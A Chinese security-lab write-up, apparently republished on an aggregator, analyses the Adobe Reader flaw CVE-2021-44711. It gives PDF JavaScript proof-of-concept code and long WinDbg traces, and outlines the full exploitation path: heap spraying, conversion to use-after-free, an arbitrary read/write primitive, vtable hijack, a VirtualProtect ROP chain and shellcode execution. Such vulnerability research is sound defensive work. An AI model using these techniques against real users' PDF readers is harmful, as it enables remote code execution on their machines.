天玄安全实验室 02月08日
CVE-2021-44711 Adobe Reader整数溢出漏洞分析与利用
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文分析了Adobe Reader漏洞CVE-2021-44711,该漏洞源于PDF内嵌的JavaScript代码对Annotation对象points属性的越界访问。通过构造特定的POC代码,将-1作为下标访问points属性,导致类型转换时发生越界。文章详细解读了漏洞触发的类型转换函数和resize函数,揭示了当数组为空时,resize函数返回错误的大小,最终导致访问异常。同时,提出了修复后的POC代码,通过预先填充数组避免了空数组状态下的错误计算,但仍存在内存越界访问的风险。通过汇编代码的分析,更深入地理解了漏洞的触发机制和利用方式。

💡该漏洞通过PDF内嵌的js代码触发,POC代码的关键在于Annotation对象的points属性,该属性原本应由两个点组成,代表直线起点和终点。POC代码将-1作为下标,类型转换时导致越界访问。

🧮类型转换函数首先将字符下标index_str转换为数字下标index_num,然后判断下标是否大于数组对象数量。若大于,则重新分配数组大小。当index为-1时,resize函数中传入的index为0,Array_Num也为0,直接返回0作为实际数组大小。

💥执行完resize后,array为空。在获取array起始地址时,获取index。然而当前index乘0x30后得到0xffffffd0,是个错误的大小,最终在执行类型转换函数时获取当前下标对象的地址:*this + index * 0x30 时,获取到了错误的值 0xffffffd0 造成了访问异常。

🛡️修复后的POC代码通过预先填充数组,避免了空数组状态下的错误计算,但是依旧没有从根本上解决问题,array不为空时,能够直接获取到array的起始地址,最终获取的结果正好为_obj[-1],造成了内存越界访问。

原创 Joey 2022-09-09 16:41 北京

最近看到一篇CVE-2021-44711 漏洞分析文章,打算从该漏洞开始学习 PDF 类型漏洞的分析与利用,根据文章的分析思路写出 EXP。

最近看到一篇Adobe Reader 漏洞 CVE-2021-44711 利用浅析[1]漏洞分析文章,打算从该漏洞开始学习 PDF 类型漏洞的分析与利用,根据文章的分析思路写出 EXP。分析使用的软件版本为:Adobe Acrobat Reader DC 2021.007.20099(x86)

漏洞通过 PDF 内嵌的 js 代码触发,POC 代码如下:

var _obj = {};_obj[-1] = null;
var _annot = this.addAnnot({page:0, type:"Line", points:_obj});

POC 非常简单,关键就在于 Annotation 对象的 points 属性原本应该由两个点{[x1,y1],[x2,y2]}组成的,代表 Annotation 对象直线的起点和终点。然而 poc 的代码将-1 作为下标,在进行类型转换时导致了越界访问造成漏洞。

类型转换函数如下:

//函数偏移:Annots.api+0x32EC6
if ( (int *)v11 != result )    {
      do      {        index_str = (char *)(*(int (__thiscall **)(_DWORD, _DWORD))(dword_22747430 + 0x1C))(                              *(_DWORD *)(dword_22747430 + 0x1C),                              *(unsigned __int16 *)(v11 + 0x10));        index_num = atoi_0(this_1, index_str);  // 转换字符下标为数字下标,将-1转化为0xffffffff        v26 = 0x30;        arraysize = v25[1] - *v25;        HIDWORD(v21) = *v25;        v22 = index_num;
        if ( arraysize / 0x30 <= index_num )    // 如果数组对象的数量小于当前下标的值,则重新分配数组大小,此时index_num为0xfffffff > 0          resize(index_num + 1, var_11);     // 根据下标重新分配数组大小        sub_2212379A(v11 + 0x18);               // 类型转换        result = (int *)sub_2212A202(&v23);        v11 = (int)v23;      }
      while ( v23 != *v4 );

函数首先将字符下标 index_str 转换为数字下标 index_num,随后判断当前下标是否大于目前数组对象的数量(0x30 为单个数组对象的大小),如果大于则需要重新分配数组的大小。resize 函数接收下标+1 代表实际要访问的对象数量,resize 函数如下:

unsigned int __thiscall resize(_DWORD *this, unsigned int index, int arg_4){  unsigned int Array_Num; // eax  int target; // esi  Array_Num = (this[1] - *this) / 0x30;   //由于Array为空,因此Array_Num=0
  if ( index >= Array_Num )      //此时index为0,而Array_Num=0,因此直接返回当前数组大小为0  {
    if ( index > Array_Num )                    // 如果当前下标+1大于数组对象的数量,则需要重新分配数组大小    {
      if ( index <= (this[2] - *this) / 0x30 )      {        Array_Num = sub_2216FDF1(this[1], index - Array_Num);// 扩充array的大小符合index+1        this[1] = Array_Num;      }
      else      {        Array_Num = sub_2216FD0D(this, index, arg_4);// 检查index大于0x5555555时则抛出异常      }    }  }
  else  {    target = *this + 0x30 * index;    Array_Num = sub_2213A435(target, this[1]);    this[1] = target;  }
  return Array_Num;}

当 index 为-1 时,由于数组本身为空,因此 resize 函数中传入的 index 为 0,而 Array_Num 也为 0,因此直接返回了 0 作为实际的数组大小:

//执行完resize之后,此时ecx为this,即array的指针,eax为返回的resize后数组对象的个数0:000> dd ecx L4                 //array中为空08d615b8  00000000 00000000 00000000 000000000:000> peax=00000000 ebx=07074508 ecx=00000000 edx=00000000 esi=08d7b840 edi=08d615b8eip=6e873049 esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl zr na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246Annots!PlugInMain+0x15219:6e873049 8b07            mov     eax,dword ptr [edi]  ds:002b:08d615b8=00000000  //获取array的起始地址0:000> peax=00000000 ebx=07074508 ecx=00000000 edx=00000000 esi=08d7b840 edi=08d615b8eip=6e87304b esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl zr na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246Annots!PlugInMain+0x1521b:6e87304b 8b4dd4          mov     ecx,dword ptr [ebp-2Ch] ss:002b:0034bfdc=ffffffff //获取index0:000>eax=00000000 ebx=07074508 ecx=ffffffff edx=00000000 esi=08d7b840 edi=08d615b8eip=6e87304e esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl zr na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246Annots!PlugInMain+0x1521e:6e87304e eb03            jmp     Annots!PlugInMain+0x15223 (6e873053)0:000> peax=00000000 ebx=07074508 ecx=ffffffff edx=00000000 esi=08d7b840 edi=08d615b8eip=6e873053 esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl zr na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246Annots!PlugInMain+0x15223:6e873053 6bc930          imul    ecx,ecx,30h         //计算当前下标对象距离array起始地址的大小,index*0x300:000>eax=00000000 ebx=07074508 ecx=ffffffd0 edx=00000000 esi=08d7b840 edi=08d615b8 //然而当前index乘0x30后得到0xffffffd0,是个错误的大小eip=6e873056 esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei ng nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282Annots!PlugInMain+0x15226:6e873056 83c618          add     esi,18h0:000>eax=00000000 ebx=07074508 ecx=ffffffd0 edx=00000000 esi=08d7b858 edi=08d615b8eip=6e873059 esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202Annots!PlugInMain+0x15229:6e873059 56              push    esi0:000>eax=00000000 ebx=07074508 ecx=ffffffd0 edx=00000000 esi=08d7b858 edi=08d615b8eip=6e87305a esp=0034bfbc ebp=0034c008 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202Annots!PlugInMain+0x1522a:6e87305a 03c8            add     ecx,eax           //将array的起始地址加上当前下标对象距离,得到当前下标                      对象的地址,由于取到错误的大小导致拿到了错误的值0:000>eax=00000000 ebx=07074508 ecx=ffffffd0 edx=00000000 esi=08d7b858 edi=08d615b8eip=6e87305c esp=0034bfbc ebp=0034c008 iopl=0         nv up ei ng nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282Annots!PlugInMain+0x1522c:6e87305c e83907ffff      call    Annots!PlugInMain+0x596a (6e86379a)   //调用该函数进行类型转换,传入了错误了对象地址0:000>(f00.92c): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=70f6f258 ebx=ffffffd0 ecx=ffffffd0 edx=00000000 esi=00000000 edi=ffffffd0eip=6e863a2d esp=0034bf5c ebp=0034bf84 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202Annots!PlugInMain+0x5bfd:6e863a2d 833f01          cmp     dword ptr [edi],1    ds:002b:ffffffd0=???????? //函数内部在获取当前下标对象时出现了访问异常

最终在执行类型转换函数时获取当前下标对象的地址:*this + index * 0x30 时,获取到了错误的值 0xffffffd0 造成了访问异常。

导致崩溃的原因是因为 Annotation 对象的 points 属性为空,导致获取目标 index 对象时直接访问了 index * 0x30 的地址。因此修改 POC 如下:

var _annot = this.addAnnot({page:0, type:"Line"});var _obj = {};_obj[2] = 2;_annot.points = _obj;_obj[-1] = null;_annot.points = _obj;

下断于 resize 函数,可以看到此时 Array 不再为空,大小为 0x90:

0:000> pceax=00000000 ebx=070616a8 ecx=070d6288 edx=00000000 esi=0706cf38 edi=070d6288eip=70803044 esp=002fbbe8 ebp=002fbc38 iopl=0         nv up ei pl nz ac po cycs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213Annots!PlugInMain+0x15214:70803044 e83ecc0300      call    Annots!PlugInMain+0x51e57 (7083fc87)  //resize函数0:000> dd ecx l4        //Array _obj070d6288  0700d8a0 0700d930 0700d930 000000000:000> ? 0700d930 - 0700d8a0      //Array Size = 0x90Evaluate expression: 144 = 00000090

随后继续执行到类型转换函数,在获取当前下标对象的地址时,由于 array 不为空能够直接获取到 array 的起始地址,最终获取的结果正好为_obj[-1],造成了内存越界访问:

0:000> Peax=002fbb78 ebx=070616a8 ecx=ea9f14a7 edx=0000000b esi=0706cf38 edi=070d6288eip=70803049 esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216Annots!PlugInMain+0x15219:70803049 8b07            mov     eax,dword ptr [edi]  ds:002b:070d6288=0700d8a0   //获取array的起始地址,此时不为00:000> peax=0700d8a0 ebx=070616a8 ecx=ea9f14a7 edx=0000000b esi=0706cf38 edi=070d6288eip=7080304b esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216Annots!PlugInMain+0x1521b:7080304b 8b4dd4          mov     ecx,dword ptr [ebp-2Ch] ss:002b:002fbc0c=ffffffff  //获取index0:000> peax=0700d8a0 ebx=070616a8 ecx=ffffffff edx=0000000b esi=0706cf38 edi=070d6288eip=7080304e esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216Annots!PlugInMain+0x1521e:7080304e eb03            jmp     Annots!PlugInMain+0x15223 (70803053)0:000> peax=0700d8a0 ebx=070616a8 ecx=ffffffff edx=0000000b esi=0706cf38 edi=070d6288eip=70803053 esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216Annots!PlugInMain+0x15223:70803053 6bc930          imul    ecx,ecx,30h      //计算当前下标对象距离array起始地址的大小,index*0x300:000> peax=0700d8a0 ebx=070616a8 ecx=ffffffd0 edx=0000000b esi=0706cf38 edi=070d6288eip=70803056 esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei ng nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282Annots!PlugInMain+0x15226:70803056 83c618          add     esi,18h0:000> peax=0700d8a0 ebx=070616a8 ecx=ffffffd0 edx=0000000b esi=0706cf50 edi=070d6288eip=70803059 esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216Annots!PlugInMain+0x15229:70803059 56              push    esi0:000> peax=0700d8a0 ebx=070616a8 ecx=ffffffd0 edx=0000000b esi=0706cf50 edi=070d6288eip=7080305a esp=002fbbec ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216Annots!PlugInMain+0x1522a:7080305a 03c8            add     ecx,eax       //获取当前下标对象的地址为_obj[-1],即*this - 0x300:000>eax=0700d8a0 ebx=070616a8 ecx=0700d870 edx=0000000b esi=0706cf50 edi=070d6288eip=7080305c esp=002fbbec ebp=002fbc38 iopl=0         nv up ei pl nz na po cycs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000203Annots!PlugInMain+0x1522c:7080305c e83907ffff      call    Annots!PlugInMain+0x596a (707f379a) //类型转换函数0:000> dd ecx L30//_obj[-1],该块内存为越界读访问的内容0700d870  00000000 00000000 00000000 000000000700d880  00010000 00000000 00010000 7217beb00700d890  0704eea8 80000000 0b758404 88007010//_obj[0]0700d8a0  00000000 0055005c 00000000 000000000700d8b0  0041005c 006d0064 006e0069 007300690700d8c0  00720074 00740061 00000000 0041005c//_obj[1]0700d8d0  00000000 00610044 00000000 000000000700d8e0  0061006f 0069006d 0067006e 0041005c0700d8f0  006f0064 00650062 00000000 00720063//_obj[2]0700d900  00000000 00740061 00000000 400000000700d910  004d0054 006f0044 00730063 0073002e0700d920  00760061 00760000 00000000 00000000

内存越界访问转化为 UAF

只是内存越界访问无法利用,然而在类型转换函数sub_2212379A中会根据*this 的不同调用不同的转换函数:

分析这些转换函数后发现*this=0x1a 时执行的函数内调用 free 函数释放了位于*(this+8)的内存:

接下来的利用思路就是将内存越界访问转化为 UAF,具体的步骤如下:

    通过堆喷大小为 0x1ffd 的 Array 对象占位稳定的内存地址 0x20000048,使得后续漏洞触发释放该块内存

    再次堆喷大小为 0x10 大小的 Array 对象布局内存,使得漏洞触发时*this=0x1a,*(this+8) = 0x20000048,漏洞触发后内存地址被释放

主要的难点在于如何构造 0x10 大小的 Array 对象布局内存,上面的分析可以得出 obj 对象占用的内存大小为 0x90。因此只需要堆喷 0x90 大小的对象,并制造内存空洞,就可以让_obj 对象精确的位于两个精心构造的内存之间:

0x00  ->  +---------------------+          |        Array        |0x90  ->  +---------------------+          |        free         | <---- _obj0x120 ->  +---------------------+          |        Array        |0x1b0 ->  +---------------------+          |        free         |0x240 ->  +---------------------+          |        Array        |0x2d0 ->  +---------------------+

因此需要堆喷的 0x10 大小的 Array 对象内存布局如下:

js:fakelement = new Array(0x10);fakelement[11] = 0x1a;fakelement[12] = 0x20000048;0:000> dd 07e21608 L26//fakelement_0107e21608  00000000 0000000d 00000010 0000001007e21618  00000000 ffffff84 00000000 ffffff8407e21628  00000000 ffffff84 00000000 ffffff8407e21638  00000000 ffffff84 00000000 ffffff8407e21648  00000000 ffffff84 00000000 ffffff8407e21658  00000000 ffffff84 00000000 ffffff8407e21668  00000000 ffffff84 0000001a ffffff8107e21678  20000048 ffffff81 00000000 0000000007e21688  00000000 00000000 00000000 0000000007e21698  62334f4b 88000000//fakelement_020:000> dd 07e216a0  L2607e216a0  00000000 0000000d 00000010 0000001007e216b0  00000000 ffffff84 00000000 ffffff8407e216c0  00000000 ffffff84 00000000 ffffff8407e216d0  00000000 ffffff84 00000000 ffffff8407e216e0  00000000 ffffff84 00000000 ffffff8407e216f0  00000000 ffffff84 00000000 ffffff8407e21700  00000000 ffffff84 0000001a ffffff8107e21710  20000048 ffffff81 00000000 0000000007e21720  00000000 00000000 00000000 0000000007e21730  62334f7e 88000000

从相邻的 Array 对象内存布局可以看出每个 Array 对象以 8 个字节的数据隔开,因此当_obj 占位于被释放的 Array 对象时,_obj[-1]正好访问的是上一个 Array 对象的 0x1a:

0:000> dd 06e19250 - 0x30 L30//_obj[-1]06e19220  0000001a ffffff81 20000048 ffffff8106e19230  00000000 00000000 00000000 0000000006e19240  00000000 00000000 2922eb66 88000000//_obj[0]06e19250  00000000 0000000d 00000000 0000000006e19260  00000000 ffffff84 00000000 ffffff8406e19270  00000000 ffffff84 00000000 ffffff8406e19280  00000000 ffffff84 00000000 0000000006e19290  00000000 ffffff84 00000000 ffffff8406e192a0  00000000 ffffff84 00000000 ffffff8406e192b0  00000000 ffffff84 00000000 4000000006e192c0  20000048 ffffff81 00000000 0000000006e192d0  00000000 00000000 00000000 00000000

接着执行类型转换的函数可以看到当前 this 指针正好指向_obj[-1],下断在 free 函数,传入的参数正是 0x20000048:

0:000> gBreakpoint 1 hiteax=0015c0d4 ebx=06e19220 ecx=06e19220 edx=06e19220 esi=00000000 edi=06e19220eip=705e89d1 esp=0015c0c4 ebp=0015c0f4 iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206Annots!PlugInMain+0xaba1:705e89d1 55              push    ebp0:000> dd ecx Lc06e19220  0000001a ffffff81 20000048 ffffff8106e19230  00000000 00000000 00000000 0000000006e19240  00000000 00000000 2922eb66 880000000:000> geax=20000048 ebx=06e19220 ecx=06e19220 edx=0000001a esi=00000000 edi=0015c0d4eip=7436f7e0 esp=0015bf8c ebp=0015bf94 iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206ucrtbase!free:7436f7e0 8bff            mov     edi,edi0:000> dps esp L20015bf8c  705dd041 Annots+0x1d0410015bf90  20000048  //free的内存地址

到这一步,漏洞已经从越界内存访问转变为了 UAF,剩下的就是利用释放的内存构造读写原语了。

任意内存读写原语的构造

目前已经有一个被释放的 0x1ffe 大小的 Array 对象,因此用 0xffe8 大小的 ArrayBuffer 对象占位同一块内存。由于 Array 对象和 ArrayBuffer 对象表示长度属性的内存在同一位置,这样就导致了 Array 对象的长度被扩展为 0xffe8,因此能够越界读写下一个临近 Array 对象的 length 值了:

0:000> dd 20000048 L10  //Array对象初始长度为0x1ffd20000048  00000000 00001ffd 00001ffd 00001ffd20000058  00000000 ffffff81 00000000 ffffff8120000068  00000000 ffffff81 00000000 ffffff8120000078  00000000 ffffff81 00000000 ffffff810:000> dd 20000048 L10  //内存占用后长度为0xffe820000048  00000000 0000ffe8 07631450 0000000020000058  41414141 ffffff81 00000000 0000000020000068  00000000 00000000 00000000 0000000020000078  00000000 00000000 00000000 00000000

但是 Array 对象读写内存的能力不如 ArrayBuffer,于是释放掉下一个临近的 Array 对象,并用 ArrayBuffer 对象占用内存,随后利用越界读写的 Array 对象修改 ArrayBuffer 对象的长度为 0xffffff81:

0:018> dd 20000048+0x10000 L1020010048  00000000 ffffff81 091910e0 0000000020010058  41414141 ffffff81 00000000 0000000020010068  00000000 00000000 00000000 0000000020010078  00000000 00000000 00000000 00000000

至此就获得了长度为 0xffffff81 的任意地址读写原语,不过该 ArrayBuffer 的起始地址为 0x20010058,如果需要读写起始地址之前的数据,则必须将目的地址 + 0xffffffff + 1,得到的值再通过读写原语进行读写就可以成功写入了。

代码执行

有了任意内存读写原语后,接下来就可以获取函数地址构造 ROP 链了。构造好后需要劫持对象的虚表实现,步骤如下:

    获取任意内存读写原语的虚表地址

    修改虚表地址为 ROP 指令,进行栈置换

    修改 shellcode 内存属性为可读可写可执行

    跳转到 shellcode 执行,完成利用

读写原语的虚表地址可以通过对象头的信息获取:

0:014> dd 20010048 L1020010048  00000000 ffffff81 076910e0 0000000020010058  41414141 ffffff81 00000000 0000000020010068  00000000 00000000 00000000 0000000020010078  00000000 00000000 00000000 000000000:014> dps 076910e0 L4076910e0  07627448076910e4  07625ac0076910e8  00000000076910ec  674d9540 EScript!double_conversion::DoubleToStringConverter::kBase10MaximalLength+0xae6300:014> dps 07627448 L407627448  0763f6280762744c  0000000407627450  3affffff07627454  000000400:014> dps 0763f628 L40763f628  674d45e8 EScript!double_conversion::DoubleToStringConverter::kBase10MaximalLength+0xa96d80763f62c  076280900763f630  000000000763f634  06893c180:014> dps 674d45e8 L8 //读写原语虚表674d45e8  67429e18 EScript!double_conversion::DoubleToStringConverter::ToPrecision+0x3a0a8674d45ec  9c000521674d45f0  6727ad70 EScript!mozilla::HashBytes+0x9020674d45f4  67363bb0 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x9b870674d45f8  6727ad70 EScript!mozilla::HashBytes+0x9020 //只需要修改该处的地址为ROP指令地址,即可实现虚表劫持674d45fc  6727ad70 EScript!mozilla::HashBytes+0x9020674d4600  6727ad70 EScript!mozilla::HashBytes+0x9020674d4604  6727ad70 EScript!mozilla::HashBytes+0x9020

ROP 指令则可以选择 EScript+0x10539d 处的指令,将栈地址迁移到 0x5d000001。只需要在 0x5d000001 处填写好 VirtualProtect 的函数地址和对应的参数即可修改 shellcode 的内存属性为可执行,并跳转到 shellcode 执行:

0:013> gBreakpoint 0 hiteax=06d54ea0 ebx=00000000 ecx=6712539d edx=6712539d esi=0034c4c0 edi=06dfe0e8eip=6712539d esp=0034c3f8 ebp=0034c488 iopl=0         nv up ei pl nz ac pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x9d05d:6712539d bc0100005d      mov     esp,5D000001h0:000> peax=06d54ea0 ebx=00000000 ecx=6712539d edx=6712539d esi=0034c4c0 edi=06dfe0e8eip=671253a2 esp=5d000001 ebp=0034c488 iopl=0         nv up ei pl nz ac pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x9d062:671253a2 c3              ret0:000> dps esp L65d000001  75bd435f kernel32!VirtualProtect5d000005  20010070 //shellcode5d000009  200100585d00000d  000007005d000011  000000405d000015  2001006c

不过在执行 shellcode 时发现普通的 shellcode 调用 WinExec 会执行失败,调试后发现执行到 ZwCreateUserProcess 时参数内有堆喷的垃圾数据,怀疑因为这些数据导致执行失败,更换 shellcode 为 syscall 执行 ZwCreateUserProcess 后成功调用。

该代码执行方式无法绕过 CFG,最终在 Windows7 上完成了漏洞利用:

该漏洞利用难点在于如何将漏洞从越界内存访问转化为 UAF,后续的利用过程和其他同类型漏洞大同小异。在利用过程中也得到了文章作者李双师傅的帮助,学习到了 Adobe 漏洞的利用技巧。

参考资料

[1]

Adobe Reader 漏洞 CVE-2021-44711 利用浅析: https://vul.360.net/archives/434


Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

CVE-2021-44711 Adobe Reader PDF漏洞 越界访问 漏洞分析
相关文章